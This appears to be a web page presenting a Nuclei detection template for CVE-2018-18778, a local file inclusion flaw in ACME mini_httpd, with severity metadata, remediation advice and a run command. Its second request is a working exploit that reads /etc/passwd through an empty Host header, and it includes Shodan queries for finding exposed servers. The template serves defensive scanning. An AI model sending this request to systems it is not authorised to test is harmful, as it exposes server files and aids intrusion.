ACME mini_httpd <1.30 - Local File Inclusion

ID: CVE-2018-18778

Severity: medium

Author: DhiyaneshDK,dogasantos

Tags: cve,cve2018,lfi,mini_httpd,acme

Description

ACME mini_httpd before 1.30 is vulnerable to local file inclusion.

YAML Source

id: CVE-2018-18778

info:
  name: ACME mini_httpd <1.30 - Local File Inclusion
  author: DhiyaneshDK,dogasantos
  severity: medium
  description: ACME mini_httpd before 1.30 is vulnerable to local file inclusion.
  impact: |
    Successful exploitation of this vulnerability allows an attacker to read arbitrary files on the server.
  remediation: |
    Upgrade ACME mini_httpd to version 1.30 or later to mitigate this vulnerability.
  reference:
    - https://www.acunetix.com/vulnerabilities/web/acme-mini_httpd-arbitrary-file-read/
    - http://www.acme.com/software/mini_httpd/
    - https://nvd.nist.gov/vuln/detail/CVE-2018-18778
    - https://github.com/0xT11/CVE-POC
    - https://github.com/ARPSyndicate/cvemon
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 6.5
    cve-id: CVE-2018-18778
    cwe-id: CWE-200
    epss-score: 0.39341
    epss-percentile: 0.97248
    cpe: cpe:2.3:a:acme:mini-httpd:*:*:*:*:*:*:*:*
  metadata:
    max-request: 2
    vendor: acme
    product: mini-httpd
    shodan-query:
      - 'Server: mini_httpd && 200'
      - cpe:"cpe:2.3:a:acme:mini-httpd"
      - "server: mini_httpd && 200"
  tags: cve,cve2018,lfi,mini_httpd,acme

flow: http(1) && http(2)

http:
  - method: GET
    path:
      - "{{BaseURL}}"

    matchers:
      - type: word
        part: header
        words:
          - "Server: mini_httpd"
        internal: true

  - raw:
      - |+
        GET /etc/passwd HTTP/1.1
        Host:

    unsafe: true

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200
# digest: 4a0a00473045022100a7ea64fe7fb2227aae33a43ae577d80618aeeabf90f90adfccf72636e15870ae02205da338ff7fbd5cb061487d883a40e67d42f9bd112757fa24815511525c717f5e:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

$ nuclei -u "URL" -t "http/cves/2018/CVE-2018-18778.yaml"

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